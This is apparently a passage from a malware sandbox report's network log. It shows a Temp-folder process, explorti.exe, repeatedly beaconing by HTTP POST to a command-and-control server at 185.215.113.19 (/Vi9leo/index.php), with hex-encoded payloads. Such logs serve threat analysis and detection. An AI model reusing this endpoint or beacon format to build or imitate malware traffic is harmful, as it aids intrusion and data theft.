Sep 1, 2024 02:48:25.645276070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49795	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:25.815136909 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:26.514813900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:26.516880989 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:26.762202024 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49796	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:26.876930952 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:27.620600939 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:27.621275902 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:27.867640972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49797	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:27.975311041 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:28.712115049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:28.712773085 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:28.957161903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49798	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:29.065659046 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:29.837898016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:29.838484049 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:30.089534998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49799	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:30.506855965 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:31.607559919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:31.607584953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:31.645165920 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:31.894320965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49805	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:32.054035902 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:32.839710951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:32.840450048 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:33.088547945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49809	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:33.204835892 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:33.960515976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:33.963068008 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:34.211517096 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49811	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:34.356323957 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:35.122728109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:35.123733044 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:35.373183012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49813	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:35.488614082 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:36.233268023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:36.233891010 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:36.479792118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49817	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:36.595649958 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:37.340516090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:37.341305017 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:37.588345051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49818	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:37.707279921 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:38.453675985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:38.454343081 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:38.708105087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49819	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:38.997605085 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:39.745541096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:39.746500969 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:39.995263100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49820	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:40.111926079 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:40.860263109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
